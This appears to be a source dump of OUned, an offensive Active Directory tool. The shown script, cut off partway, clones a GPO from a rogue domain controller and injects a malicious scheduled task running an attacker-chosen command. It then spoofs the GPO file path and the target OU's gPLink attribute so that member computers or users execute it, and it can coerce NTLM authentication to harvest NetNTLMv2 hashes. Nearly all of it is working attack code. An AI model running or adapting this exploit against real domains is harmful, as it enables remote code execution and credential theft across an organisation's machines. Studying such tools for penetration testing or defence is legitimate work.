├── .gitignore
├── GPT_out
└── .placeholder
├── OUned.py
├── README.md
├── addcomputer_LDAP_spn.py
├── cleaning
└── .placeholder
├── conf.py
├── config.example.ini
├── helpers
├── clean_utils.py
├── forwarder.py
├── ldap_utils.py
├── ouned_smbserver.py
├── scheduledtask_utils.py
├── smb_utils.py
└── version_utils.py
└── requirements.txt
/.gitignore:
--------------------------------------------------------------------------------
1 | # Editors
2 | .vscode/
3 | .idea/
4 |
5 | # Vagrant
6 | .vagrant/
7 |
8 | # Mac/OSX
9 | .DS_Store
10 |
11 | # Windows
12 | Thumbs.db
13 |
14 | # Source for the following rules: https://raw.githubusercontent.com/github/gitignore/master/Python.gitignore
15 | # Byte-compiled / optimized / DLL files
16 | __pycache__/
17 | *.py[cod]
18 | *$py.class
19 |
20 | # C extensions
21 | *.so
22 |
23 | # Distribution / packaging
24 | .Python
25 | build/
26 | develop-eggs/
27 | dist/
28 | downloads/
29 | eggs/
30 | .eggs/
31 | lib/
32 | lib64/
33 | parts/
34 | sdist/
35 | var/
36 | wheels/
37 | *.egg-info/
38 | .installed.cfg
39 | *.egg
40 | MANIFEST
41 |
42 | # PyInstaller
43 | # Usually these files are written by a python script from a template
44 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
45 | *.manifest
46 | *.spec
47 |
48 | # Installer logs
49 | pip-log.txt
50 | pip-delete-this-directory.txt
51 |
52 | # Unit test / coverage reports
53 | htmlcov/
54 | .tox/
55 | .nox/
56 | .coverage
57 | .coverage.*
58 | .cache
59 | nosetests.xml
60 | coverage.xml
61 | *.cover
62 | .hypothesis/
63 | .pytest_cache/
64 |
65 | # Translations
66 | *.mo
67 | *.pot
68 |
69 | # Django stuff:
70 | *.log
71 | local_settings.py
72 | db.sqlite3
73 |
74 | # Flask stuff:
75 | instance/
76 | .webassets-cache
77 |
78 | # Scrapy stuff:
79 | .scrapy
80 |
81 | # Sphinx documentation
82 | docs/_build/
83 |
84 | # PyBuilder
85 | target/
86 |
87 | # Jupyter Notebook
88 | .ipynb_checkpoints
89 |
90 | # IPython
91 | profile_default/
92 | ipython_config.py
93 |
94 | # pyenv
95 | .python-version
96 |
97 | # celery beat schedule file
98 | celerybeat-schedule
99 |
100 | # SageMath parsed files
101 | *.sage.py
102 |
103 | # Environments
104 | .env
105 | .venv
106 | env/
107 | venv/
108 | ENV/
109 | env.bak/
110 | venv.bak/
111 |
112 | # Spyder project settings
113 | .spyderproject
114 | .spyproject
115 |
116 | # Rope project settings
117 | .ropeproject
118 |
119 | # mkdocs documentation
120 | /site
121 |
122 | # mypy
123 | .mypy_cache/
124 | .dmypy.json
125 | dmypy.json
126 |
127 |
--------------------------------------------------------------------------------
/GPT_out/.placeholder:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/synacktiv/OUned/e4a8d10a9afdfb307a4baa7acb3c8e54d0199a59/GPT_out/.placeholder
--------------------------------------------------------------------------------
/OUned.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import time
3 | import typer
4 | import socket
5 | import logging
6 | import traceback
7 | import configparser
8 | import dns.resolver
9 |
10 | import _thread as thread
11 | import helpers.forwarder as forwarder
12 |
13 | from time import sleep
14 | from ldap3 import Server, Connection, NTLM, SUBTREE, ALL_ATTRIBUTES
15 | from impacket.ntlm import compute_lmhash, compute_nthash
16 | from typing_extensions import Annotated
17 | from helpers.smb_utils import get_smb_connection, download_initial_gpo, upload_directory_to_share, recursive_smb_delete
18 | from helpers.clean_utils import init_save_file, save_attribute_value, clean
19 | from helpers.ldap_utils import get_attribute, modify_attribute, update_extensionNames, ldap_check_credentials
20 | from helpers.scheduledtask_utils import write_scheduled_task
21 | from helpers.version_utils import update_GPT_version_number
22 | from helpers.ouned_smbserver import SimpleSMBServer
23 |
24 | from conf import bcolors, OUTPUT_DIR, GPOTypes, SMBModes
25 |
26 |
27 | def main(
28 | config: Annotated[str, typer.Option("--config", help="The configuration file for OUned")],
29 | skip_checks: Annotated[bool, typer.Option("--skip-checks", help="Do not perform the various checks related to the exploitation setup")] = False,
30 | just_coerce: Annotated[bool, typer.Option("--just-coerce", help="Only coerce SMB NTLM authentication of OU child objects to the destination specified in the --coerce-to flag, or, if no destination is specified, to a local SMB server that will print their NetNTLMv2 hashes")] = False,
31 | coerce_to: Annotated[str, typer.Option("--coerce-to", help="Coerce child objects SMB NTLM authentication to a specific destination - this argument should be an IP address")] = None,
32 | just_clean: Annotated[bool, typer.Option("--just-clean", help="This flag indicates that OUned should only perform cleaning actions from specified cleaning-file")] = False,
33 | cleaning_file: Annotated[str, typer.Option("--cleaning-file", help="The path to the cleaning file in case the --just-clean flag is used")] = None,
34 | verbose: Annotated[bool, typer.Option("--verbose", help="Enable verbose output")] = False
35 | ):
36 | if verbose is False: logging.basicConfig(format='%(message)s', level=logging.WARN)
37 | else: logging.basicConfig(format='%(message)s', level=logging.INFO)
38 | logger = logging.getLogger(__name__)
39 |
40 |
41 | ### ============================ ###
42 | ### Handling the just-clean case ###
43 | ### ============================ ###
44 | if just_clean is True:
45 | logger.warning(f"\n\n{bcolors.BOLD}=== ATTEMPTING TO CLEAN FROM SPECIFIED FILE AND EXITING ==={bcolors.ENDC}")
46 | options = configparser.ConfigParser()
47 | options.read(config)
48 |
49 | if "ldaps" in options["GENERAL"].keys() and options["GENERAL"]["ldaps"].lower() == "true":
50 | ldaps = True
51 | else:
52 | ldaps = False
53 |
54 | target_domain_ldap_session = None
55 | ldap_server_ldap_session = None
56 | if "username" in options["GENERAL"].keys() and options["GENERAL"]["username"]:
57 | username = options["GENERAL"]["username"]
58 | domain = options["GENERAL"]["domain"]
59 | if "password" in options["GENERAL"].keys() and options["GENERAL"]["password"]:
60 | password = options["GENERAL"]["password"]
61 | server = Server(f'ldaps://{domain}:636', port = 636, use_ssl = True) if ldaps is True else Server(f'ldap://{domain}:389', port = 389, use_ssl = False)
62 | target_domain_ldap_session = Connection(server, user=f"{domain}\\{username}", password=password, authentication=NTLM, auto_bind=True)
63 | elif "hash" in options["GENERAL"].keys() and options["GENERAL"]["hash"]:
64 | hash = options["GENERAL"]["hash"]
65 | server = Server(f'ldaps://{domain}:636', port = 636, use_ssl = True) if ldaps is True else Server(f'ldap://{domain}:389', port = 389, use_ssl = False)
66 | target_domain_ldap_session = Connection(server, user=f"{domain}\\{username}", password=hash, authentication=NTLM, auto_bind=True)
67 |
68 | if "ldap_username" in options["LDAP"].keys() and options["LDAP"]["ldap_username"] and "ldap_password" in options["LDAP"].keys() and options["LDAP"]["ldap_password"]:
69 | ldap_ip = options["LDAP"]["ldap_ip"]
70 | ldap_machine_name = options["LDAP"]["ldap_machine_name"]
71 | ldap_username = options["LDAP"]["ldap_username"]
72 | ldap_password = options["LDAP"]["ldap_password"]
73 | server = Server(f'ldap://{ldap_ip}:389', port = 389, use_ssl = False)
74 | ldap_server_ldap_session = Connection(server, user=f"{ldap_machine_name[:-1].lower()}.{domain}\\{ldap_username}", password=ldap_password, authentication=NTLM, auto_bind=True)
75 |
76 | clean(target_domain_ldap_session, ldap_server_ldap_session, cleaning_file)
77 | return
78 |
79 | ### ===================================== ###
80 | ### Performing arguments coherence checks ###
81 | ### ===================================== ###
82 | try:
83 | options = configparser.ConfigParser()
84 | options.read(config)
85 |
86 | # These arguments are required - we can't perform the exploit without them
87 | required_options = {"GENERAL": ["domain", "ou", "username", "attacker_ip", "command", "target_type"],
88 | "LDAP": ["ldap_ip", "ldap_username", "ldap_password", "gpo_id", "ldap_machine_name", "ldap_machine_password"],
89 | "SMB": ["smb_mode"]}
90 | for section in required_options.keys():
91 | for option in required_options[section]:
92 | if option not in options[section].keys() or not options[section][option]:
93 | logger.error(f"{bcolors.FAIL}[!] The {section}>{option} option is required. It must be defined and non-empty in configuration file.")
94 | raise SystemExit
95 |
96 | # Assigning required options to variables
97 | domain = options["GENERAL"]["domain"]
98 | ou = options["GENERAL"]["ou"]
99 | username = options["GENERAL"]["username"]
100 | attacker_ip = options["GENERAL"]["attacker_ip"]
101 | command = options["GENERAL"]["command"]
102 | target_type = options["GENERAL"]["target_type"].lower()
103 | ldap_ip = options["LDAP"]["ldap_ip"]
104 | ldap_username = options["LDAP"]["ldap_username"]
105 | ldap_password = options["LDAP"]["ldap_password"]
106 | gpo_id = options["LDAP"]["gpo_id"]
107 | ldap_machine_name = options["LDAP"]["ldap_machine_name"]
108 | ldap_machine_password = options["LDAP"]["ldap_machine_password"]
109 | smb_mode = options["SMB"]["smb_mode"].lower()
110 |
111 | # These options should have specific accepted values
112 | if target_type != "computer" and target_type != "user":
113 | logger.error(f"{bcolors.FAIL}[!] The GENERAL>target_type option can only be 'user' or 'computer'.{bcolors.ENDC}")
114 | raise SystemExit
115 | if smb_mode != "embedded" and smb_mode != "forwarded":
116 | logger.error(f"{bcolors.FAIL}[!] The SMB>smb_mode option can only be 'embedded' or 'forwarded'.{bcolors.ENDC}")
117 | raise SystemExit
118 |
119 | # We should have at least a "password" or a "hash" option. If both are defined, the password will be used
120 | if "password" in options["GENERAL"].keys() and options["GENERAL"]["password"]:
121 | password = options["GENERAL"]["password"]
122 | hash = None
123 | elif "hash" in options["GENERAL"].keys() and options["GENERAL"]["hash"]:
124 | hash = options["GENERAL"]["hash"]
125 | else:
126 | logger.error(f"{bcolors.FAIL}[!] Need at least one of GENERAL>password / GENERAL/hash.{bcolors.ENDC}")
127 | raise SystemExit
128 |
129 | # If LDAPS is equal to True, we will use LDAPS ; else, we use LDAP
130 | if "ldaps" in options["GENERAL"].keys() and options["GENERAL"]["ldaps"].lower() == "true":
131 | ldaps = True
132 | else:
133 | ldaps = False
134 |
135 | # If an LDAP hostname was defined, assign it ; else, initialize variable as None
136 | if "ldap_hostname" in options["LDAP"].keys() and options["LDAP"]["ldap_hostname"]:
137 | ldap_hostname = options["LDAP"]["ldap_hostname"]
138 | else:
139 | ldap_hostname = None
140 |
141 | # If the user provided a share name, we will use it ; otherwise, default to 'share'
142 | if "share_name" in options["SMB"].keys() and options["SMB"]["share_name"]:
143 | smb_share_name = options["SMB"]["share_name"]
144 | else:
145 | smb_share_name = 'share'
146 |
147 | # If the user wants the 'forwarded' SMB mode ...
148 | if smb_mode == 'forwarded':
149 | # ... we should have an SMB IP to forward to
150 | if "smb_ip" not in options["SMB"] or not options["SMB"]["smb_ip"]:
151 | logger.error(f"{bcolors.FAIL}[!] When using the SMB>smb_mode 'forwarded', you need to provide the SMB>smb_ip option.{bcolors.ENDC}")
152 | raise SystemExit
153 | else:
154 | smb_ip = options["SMB"]["smb_ip"]
155 |
156 | # ... We will take the smb_username and smb_password values if they exist, or default to LDAP username and password values
157 | if "smb_username" in options["SMB"].keys() and options["SMB"]["smb_username"]:
158 | smb_username = options["SMB"]["smb_username"]
159 | else:
160 | smb_username = ldap_username
161 | if "smb_password" in options["SMB"].keys() and options["SMB"]["smb_password"]:
162 | smb_password = options["SMB"]["smb_password"]
163 | else:
164 | smb_password = ldap_password
165 |
166 | # ... We should have an SMB machine account and its associated password
167 | if "smb_machine_name" not in options["SMB"] or not options["SMB"]["smb_machine_name"]:
168 | logger.error(f"{bcolors.FAIL}[!] When using the SMB>smb_mode 'forwarded', you need to provide the SMB>smb_machine_name option.{bcolors.ENDC}")
169 | raise SystemExit
170 | elif "smb_machine_password" not in options["SMB"] or not options["SMB"]["smb_machine_password"]:
171 | logger.error(f"{bcolors.FAIL}[!] When using the SMB>smb_mode 'forwarded', you need to provide the SMB>smb_machine_password option.{bcolors.ENDC}")
172 | raise SystemExit
173 | else:
174 | smb_machine_name = options["SMB"]["smb_machine_name"]
175 | smb_machine_password = options["SMB"]["smb_machine_password"]
176 |
177 | # If the target type is user and we are using smb embedded mode, display a warning
178 | if target_type == "user" and smb_mode == "embedded" and just_coerce is not True:
179 | confirmation = typer.prompt(f"{bcolors.WARNING}[?] You are trying to target user objects while using embedded SMB mode, which will not work. Do you still want to continue ? [yes/no] {bcolors.ENDC}")
180 | if confirmation.lower() != 'yes':
181 | raise SystemExit
182 |
183 |
184 | except SystemExit:
185 | sys.exit(1)
186 | except:
187 | logger.error(f"{bcolors.FAIL}[!] Unhandled exception while performing configuration options checks on file {config}. Is the file correctly formated ?{bcolors.ENDC}")
188 | traceback.print_exc()
189 | sys.exit(1)
190 |
191 |
192 | domain_dn = ",".join("DC={}".format(d) for d in domain.split("."))
193 | computer_dn = "CN=Computers," + domain_dn
194 | ldap_domain = f"{ldap_machine_name[:-1].lower()}.{domain}"
195 | ldap_domain_dn = f"DC={ldap_machine_name[:-1]},{domain_dn}"
196 |
197 | if skip_checks is False:
198 | logger.warning(f"\n\n{bcolors.BOLD}=== PERFORMING VARIOUS SANITY CHECKS RELATED TO THE SETUP ==={bcolors.ENDC}")
199 | ### ==================================================== ###
200 | ### Verifying the existence of the LDAP computer account ###
201 | ### ==================================================== ###
202 | try:
203 | server = Server(f'ldaps://{domain}:636', port = 636, use_ssl = True) if ldaps is True else Server(f'ldap://{domain}:389', port = 389, use_ssl = False)
204 | check_session = Connection(server, user=f"{domain}\\{ldap_machine_name}", password=ldap_machine_password, authentication=NTLM, auto_bind=True)
205 | except:
206 | traceback.print_exc()
207 | logger.error(f"{bcolors.FAIL}[!] Could not authenticate with provided LDAP machine account {ldap_machine_name} on target domain. You may want to run the following command:{bcolors.ENDC}")
208 | logger.error(f"python3 addcomputer_with_spns.py -computer-name {ldap_machine_name} -computer-pass '{ldap_machine_password}' -method LDAPS '{domain}/{username}:{password}'")
209 | sys.exit(1)
210 | logger.warning(f"{bcolors.OKGREEN}[+] LDAP computer account {ldap_machine_name} valid in target domain.{bcolors.ENDC}")
211 |
212 |
213 | ### ================================================================================= ###
214 | ### Verifying the existence of the SMB computer account in case of forwarded SMB mode ###
215 | ### ================================================================================= ###
216 | if smb_mode == "forwarded":
217 | try:
218 | server = Server(f'ldaps://{domain}:636', port = 636, use_ssl = True) if ldaps is True else Server(f'ldap://{domain}:389', port = 389, use_ssl = False)
219 | check_session = Connection(server, user=f"{domain}\\{smb_machine_name}", password=smb_machine_password, authentication=NTLM, auto_bind=True)
220 | except:
221 | traceback.print_exc()
222 | logger.error(f"{bcolors.FAIL}[!] Could not authenticate with provided SMB machine account {smb_machine_name} on target domain. You may want to run the following command:{bcolors.ENDC}")
223 | logger.error(f"python3 addcomputer.py -computer-name {smb_machine_name} -computer-pass '{smb_machine_password}' -method LDAPS '{domain}/{username}:{password}'")
224 | sys.exit(1)
225 | logger.warning(f"{bcolors.OKGREEN}[+] SMB computer account {smb_machine_name} valid in target domain.{bcolors.ENDC}")
226 |
227 |
228 | ### ============================= ###
229 | ### Verifying the LDAP DNS record ###
230 | ### ============================= ###
231 | try:
232 | dns_result = socket.gethostbyname(f'{ldap_machine_name[:-1]}.{domain}')
233 | except socket.error:
234 | logger.error(f"{bcolors.FAIL}[!] Could not resolve {ldap_machine_name[:-1]}.{domain} to an IP address. If you did not add the expected DNS record, you may want to run the following command:{bcolors.ENDC}")
235 | logger.error(f'python3 dnstool.py -u \'{domain}\\{username}\' -p \'{password}\' -r \'{ldap_machine_name[:-1]}\' -a add -d "{attacker_ip}" "{domain}"')
236 | sys.exit(1)
237 |
238 | if dns_result != attacker_ip:
239 | logger.error(f"{bcolors.FAIL}[!] The DNS record for {ldap_machine_name[:-1]}.{domain} ({dns_result}) does not match the provided attacker-ip parameter ({attacker_ip}). The attack will not work.{bcolors.ENDC}")
240 | logger.error(f"You may want to delete the existing DNS record, and run the following command:")
241 | logger.error(f'python3 dnstool.py -u \'{domain}\\{username}\' -p \'{password}\' -r \'{ldap_machine_name[:-1]}\' -a add -d "{attacker_ip}" "{domain}"')
242 | sys.exit(1)
243 | logger.warning(f"{bcolors.OKGREEN}[+] The DNS record {ldap_machine_name[:-1]}.{domain} exists and matches the provided attacker IP address ({attacker_ip}){bcolors.ENDC}")
244 |
245 |
246 | ### ===================================================== ###
247 | ### Verifying the SMB DNS record in case of forwarded SMB ###
248 | ### ===================================================== ###
249 | if smb_mode == "forwarded":
250 | try:
251 | dns_result = socket.gethostbyname(f'{smb_machine_name[:-1]}.{domain}')
252 | except socket.error:
253 | logger.error(f"{bcolors.FAIL}[!] Could not resolve {smb_machine_name[:-1]}.{domain} to an IP address. If you did not add the expected DNS record, you may want to run the following command:{bcolors.ENDC}")
254 | logger.error(f'python3 dnstool.py -u \'{domain}\\{username}\' -p \'{password}\' -r \'{smb_machine_name[:-1]}\' -a add -d "{attacker_ip}" "{domain}"')
255 | sys.exit(1)
256 |
257 | if dns_result != attacker_ip:
258 | logger.error(f"{bcolors.FAIL}[!] The DNS record for {smb_machine_name[:-1]}.{domain} ({dns_result}) does not match the provided attacker-ip parameter ({attacker_ip}). The attack will not work.{bcolors.ENDC}")
259 | logger.error(f"You may want to delete the existing DNS record, and run the following command:")
260 | logger.error(f'python3 dnstool.py -u \'{domain}\\{username}\' -p \'{password}\' -r \'{smb_machine_name[:-1]}\' -a add -d "{attacker_ip}" "{domain}"')
261 | sys.exit(1)
262 | logger.warning(f"{bcolors.OKGREEN}[+] The DNS record {smb_machine_name[:-1]}.{domain} exists and matches the provided attacker IP address ({attacker_ip}){bcolors.ENDC}")
263 |
264 |
265 |
266 | ### ====================================== ###
267 | ### Verifying the password synchronization ###
268 | ### ====================================== ###
269 | '''
270 | try:
271 | resolver = dns.resolver.Resolver()
272 | resolver.nameservers = [ldap_ip]
273 | answers = resolver.resolve(f"_ldap._tcp.{ldap_domain}", 'SRV')
274 | parsed = str(answers[0].target).split(".", 1)
275 | ldap_check_hostname = parsed[0]
276 | except:
277 | logger.error(f"{bcolors.FAIL}[!] Could not resolve _ldap._tcp.{ldap_domain}. Are you sure the domain name of your LDAP server is {ldap_domain} as expected ?{bcolors.ENDC}")
278 | confirmation = typer.prompt("[?] Do you still want to continue ? (I will not be able to check that the password of the LDAP server is the same as the machine account) [yes/no] ")
279 | if confirmation.lower() != 'yes':
280 | sys.exit(1)
281 | '''
282 |
283 | # Check if we can login to LDAP server
284 | if ldap_hostname is not None:
285 | if ldap_check_credentials(ldap_ip, f"{ldap_hostname.upper()}$" if not ldap_hostname.endswith('$') else f"{ldap_hostname.upper()}", ldap_machine_password, ldap_domain) is False:
286 | logger.error(f"{bcolors.FAIL}[!] Could not establish an LDAP session with the LDAP server for the DC hostname and the machine password. Are you sure the LDAP server has the password {ldap_machine_password} ?{bcolors.ENDC}")
287 | confirmation = typer.prompt("[?] Do you still want to continue ? Things may break [yes/no] ")
288 | if confirmation.lower() != 'yes':
289 | sys.exit(1)
290 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully authenticated to LDAP server with DC account and LDAP machine_password. LDAP and machine account passwords are synchronized.{bcolors.ENDC}")
291 |
292 | # For the SMB server, only perform checks if we are in "forwarded" mode
293 | if smb_mode == "forwarded" and just_coerce is False:
294 | '''
295 | try:
296 | # Check if the SMB domain controller matches the machine account DNS record of target domain
297 | resolver = dns.resolver.Resolver()
298 | resolver.nameservers = [smb_ip]
299 | answers = resolver.resolve(f"_ldap._tcp.{domain}", 'SRV')
300 | parsed = str(answers[0].target).split(".", 1)
301 | smb_check_hostname = parsed[0]
302 | except:
303 | logger.error(f"{bcolors.FAIL}[!] Could not resolve _ldap._tcp.{domain} with SMB nameserver. Are you sure the domain name of your SMB server is {domain} as expected ?{bcolors.ENDC}")
304 |
305 | if smb_check_hostname is not None and smb_check_hostname != machine_name[:-1]:
306 | logger.error(f"{bcolors.FAIL}[!] Resolved SMB server hostname ({smb_check_hostname}) is not {machine_name[:-1]} as expected ?{bcolors.ENDC}")
307 | failure = True
308 | '''
309 | # Check if we can login to SMB server
310 | if ldap_check_credentials(smb_ip, f"{smb_machine_name}", smb_machine_password, domain) is False:
311 | logger.error(f"{bcolors.FAIL}[!] Could not establish an LDAP session with the SMB server for the DC hostname and the SMB machine password. Are you sure the SMB server has the password {smb_machine_password} ?{bcolors.ENDC}")
312 | confirmation = typer.prompt("[?] Do you still want to continue ? (things may break) [yes/no] ")
313 | if confirmation.lower() != 'yes':
314 | sys.exit(1)
315 | else:
316 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully authenticated to SMB server with DC account and SMB machine_password. SMB server and SMB machine account passwords are synchronized.{bcolors.ENDC}")
317 |
318 |
319 |
320 | ### ============================================ ###
321 | ### Launching port forwarding server in a thread ###
322 | ### ============================================ ###
323 | logger.warning(f"\n\n{bcolors.BOLD}=== SETTING UP PORT FORWARDING ==={bcolors.ENDC}")
324 | logger.warning(f"[*] Creating LDAP port forwarding. All traffic incoming on port 389 on attacker machine ({attacker_ip}) should be redirected on port 389 of the fake LDAP server ({ldap_ip})")
325 | forwarder_settings = (attacker_ip, 389, ldap_ip, 389)
326 | thread.start_new_thread(forwarder.server, forwarder_settings)
327 | logger.warning(f"{bcolors.OKGREEN}[+] Created port forwarding ({attacker_ip}:389 -> {ldap_ip}:389){bcolors.ENDC}")
328 |
329 | if smb_mode == "forwarded" and just_coerce is not True:
330 | logger.warning(f"\n[*] Creating SMB port forwarding. All traffic incoming on port 445 on attacker machine ({attacker_ip}) should be redirected on port 445 of the fake SMB server ({smb_ip})")
331 | forwarder_settings = (attacker_ip, 445, smb_ip, 445)
332 | thread.start_new_thread(forwarder.server, forwarder_settings)
333 | logger.warning(f"{bcolors.OKGREEN}[+] Created port forwarding ({attacker_ip}:445 -> {ldap_ip}:445){bcolors.ENDC}")
334 |
335 |
336 | ### ================================================================================== ###
337 | ### Cloning the rogue DC GPO, add an immediate task to it, and store it in GPT_out ###
338 | ### Spoofing the gPCFileSysPath attribute of the cloned GPO, and update its extensions ###
339 | ### ================================================================================== ###
340 | logger.warning(f"\n\n{bcolors.BOLD}=== PERFORMING GPO OPERATIONS (CLONING, INJECTING SCHEDULED TASK, UPLOADING TO SMB SERVER IF NEEDED) ==={bcolors.ENDC}")
341 | save_file_name = init_save_file(ou)
342 | logger.info(f"[*] The save file for current exploit run is {save_file_name}")
343 |
344 | logger.warning(f"[*] Cloning GPO {gpo_id} from fakedc {ldap_ip}.")
345 | try:
346 | smb_session = get_smb_connection(ldap_ip, ldap_username, ldap_password, None, ldap_domain)
347 | download_initial_gpo(smb_session, ldap_domain, gpo_id)
348 | except:
349 | logger.critical(f"{bcolors.FAIL}[!] Failed to download GPO from fakedc (ldap_ip: {ldap_ip} ; ldap_username: {ldap_username} ; ldap_password: {ldap_password} ; fakedc domain: {ldap_domain}). Exiting...{bcolors.ENDC}", exc_info=True)
350 | sys.exit(1)
351 |
352 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully downloaded GPO from fakedc to '{OUTPUT_DIR}' folder.{bcolors.ENDC}")
353 |
354 | logger.warning(f"[*] Injecting malicious scheduled task into downloaded GPO")
355 | try:
356 | write_scheduled_task(target_type, command, False)
357 | except:
358 | logger.critical(f"{bcolors.FAIL}[!] Failed to write malicious scheduled task to downloaded GPO. Exiting...{bcolors.ENDC}", exc_info=True)
359 | sys.exit(1)
360 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully injected malicious scheduled task.{bcolors.ENDC}")
361 |
362 |
363 | try:
364 | gpo_dn = 'CN={' + gpo_id + '}},CN=Policies,CN=System,{}'.format(ldap_domain_dn)
365 | ldap_server = Server(f'ldap://{ldap_ip}:389', port = 389, use_ssl = False)
366 | ldap_server_session = Connection(ldap_server, user=f"{ldap_domain}\\{ldap_username}", password=ldap_password, authentication=NTLM, auto_bind=True)
367 | if smb_mode == "embedded" or just_coerce is True:
368 | if just_coerce is True and coerce_to is not None:
369 | smb_path = f'\\\\{coerce_to}\\{smb_share_name}'
370 | else:
371 | smb_path = f'\\\\{attacker_ip}\\{smb_share_name}'
372 | else:
373 | smb_path = f'\\\\{smb_machine_name[:-1].lower()}.{domain}\\{smb_share_name}'
374 |
375 | initial_gpcfilesyspath = get_attribute(ldap_server_session, gpo_dn, "gPCFileSysPath")
376 | logger.warning(f"[*] Modifying gPCFileSysPath attribute of GPO on fakedc to {smb_path} (initial value saved: {initial_gpcfilesyspath})")
377 | result = modify_attribute(ldap_server_session, gpo_dn, "gPCFileSysPath", smb_path)
378 | if result is not True: raise Exception
379 | except:
380 | print(traceback.print_exc())
381 | logger.critical(f"{bcolors.FAIL}[!] Failed to modify the gPCFileSysPath attribute of the fakedc GPO. Exiting...{bcolors.ENDC}")
382 | sys.exit(1)
383 | save_attribute_value("gPCFileSysPath", initial_gpcfilesyspath, save_file_name, "ldap_server", gpo_dn)
384 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully updated gPCFileSysPath attribute of fakedc GPO.{bcolors.ENDC}")
385 |
386 |
387 | try:
388 | attribute_name = "gPCMachineExtensionNames" if target_type == "computer" else "gPCUserExtensionNames"
389 | extensionName = get_attribute(ldap_server_session, gpo_dn, attribute_name)
390 | updated_extensionName = update_extensionNames(extensionName)
391 | logger.warning(f"[*] Modifying {attribute_name} attribute of GPO on fakedc to {updated_extensionName}")
392 | result = modify_attribute(ldap_server_session, gpo_dn, attribute_name, updated_extensionName)
393 | if result is not True: raise Exception
394 | except:
395 | print(traceback.print_exc())
396 | logger.critical(f"{bcolors.FAIL}[!] Failed to modify the GPC extension names for the fakedc GPO. Cleaning and exiting...{bcolors.ENDC}")
397 | clean(None, ldap_server_session, save_file_name)
398 | sys.exit(1)
399 | save_attribute_value(attribute_name, extensionName, save_file_name, "ldap_server", gpo_dn)
400 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully updated extension names of fakedc GPO.{bcolors.ENDC}")
401 |
402 | try:
403 | logger.warning(f"[*] Incrementing fakedc GPO version number (GPC and cloned GPT). This is actually mainly to ensure it is not 0...")
404 | versionNumber = int(get_attribute(ldap_server_session, gpo_dn, "versionNumber"))
405 | updated_version = versionNumber + 1 if target_type == "computer" else versionNumber + 65536
406 | result = modify_attribute(ldap_server_session, gpo_dn, "versionNumber", updated_version)
407 | update_GPT_version_number(ldap_server_session, gpo_dn, target_type)
408 | except:
409 | print(traceback.print_exc())
410 | logger.critical(f"{bcolors.FAIL}[!] Failed to modify GPC/GPT version number of fakedc GPO.{bcolors.ENDC}")
411 | logger.critical("[*] Continuing...")
412 | save_attribute_value("versionNumber", versionNumber, save_file_name, "ldap_server", gpo_dn)
413 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully updated GPC versionNumber attribute{bcolors.ENDC}")
414 |
415 |
416 | ### ================================================== ###
417 | ### For forwarded SMB, writing GPO to SMB server share ###
418 | ### ================================================== ###
419 | if smb_mode == "forwarded" and just_coerce is not True:
420 | try:
421 | smb_session_smb = get_smb_connection(smb_ip, smb_username, smb_password, None, domain)
422 | recursive_smb_delete(smb_session_smb, smb_share_name, '*')
423 | upload_directory_to_share(smb_session_smb, smb_share_name)
424 | except:
425 | traceback.print_exc()
426 | logger.critical(f"{bcolors.FAIL}[!] Failed to upload GPO to SMB server.{bcolors.ENDC}")
427 | clean(None, ldap_server_session, save_file_name)
428 | sys.exit(1)
429 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully uploaded GPO to SMB server {smb_ip}, on share {smb_share_name}.{bcolors.ENDC}")
430 |
431 | ### ============================================== ###
432 | ### Spoofing the gPLink attribute of the target OU ###
433 | ### ============================================== ###
434 | logger.warning(f"\n\n{bcolors.BOLD}=== SPOOFING THE GPLINK ATTRIBUTE OF THE TARGET OU ==={bcolors.ENDC}")
435 | try:
436 | server = Server(f'ldaps://{domain}:636', port = 636, use_ssl = True) if ldaps is True else Server(f'ldap://{domain}:389', port = 389, use_ssl = False)
437 | ldap_session = Connection(server, user=f"{domain}\\{username}", password=password, authentication=NTLM, auto_bind=True)
438 | except:
439 | print(traceback.print_exc())
440 | logger.critical(f"{bcolors.FAIL}[!] Could not establish an LDAP connection to target domain with provided credentials ({domain}\{username}:{password}).{bcolors.ENDC}")
441 | clean(ldap_session, ldap_server_session, save_file_name)
442 | sys.exit(1)
443 |
444 | logger.warning(f"[*] Searching the target OU '{ou}'.")
445 | search_filter = f'(ou={ou})'
446 | attributes = [ALL_ATTRIBUTES]
447 | ldap_session.search(domain_dn, search_filter, SUBTREE, attributes=attributes)
448 | ldap_entries = len(ldap_session.entries)
449 | if ldap_entries == 1:
450 | ou_dn = ldap_session.entries[0].entry_dn
451 | logger.warning(f"{bcolors.OKGREEN}[+] Organizational unit found - {ou_dn}.{bcolors.ENDC}")
452 | elif ldap_entries >= 2:
453 | logger.warning(f"{bcolors.OKBLUE}[+] Several OUs matching this name have been found.{bcolors.ENDC}")
454 | numEntry = 0
455 | for entry in ldap_session.entries:
456 | logger.warning(f"{bcolors.OKBLUE}[+] {numEntry+1} : {entry.entry_dn}.{bcolors.ENDC}")
457 | numEntry+=1
458 | targetEntry = input(f"{bcolors.OKBLUE}[+] Select which OU you want to target : {bcolors.ENDC}")
459 | try:
460 | targetEntry = int(targetEntry)
461 | if(targetEntry > ldap_entries):
462 | raise Exception
463 | except:
464 | logger.critical(f"{bcolors.FAIL}[!] Failed to select target OU.{bcolors.ENDC}")
465 | clean(ldap_session, ldap_server_session, save_file_name)
466 | sys.exit(1)
467 |
468 | ou_dn = ldap_session.entries[targetEntry-1].entry_dn
469 | logger.warning(f"{bcolors.OKGREEN}[+] The OU has been successfully targeted. - {ou_dn}.{bcolors.ENDC}")
470 |
471 | else:
472 | logger.error(f"{bcolors.FAIL}[!] Could not find Organizational Unit with name {ou}.{bcolors.ENDC}")
473 | clean(ldap_session, ldap_server_session, save_file_name)
474 | sys.exit(1)
475 |
476 | logger.warning(f"[*] Retrieving the initial gPLink value to prepare for cleaning.")
477 |
478 | try:
479 | spoofed_gPLink = f"[LDAP://cn={{{gpo_id}}},cn=policies,cn=system,{ldap_domain_dn};0]"
480 | initial_gPLink = get_attribute(ldap_session, ou_dn, "gPLink")
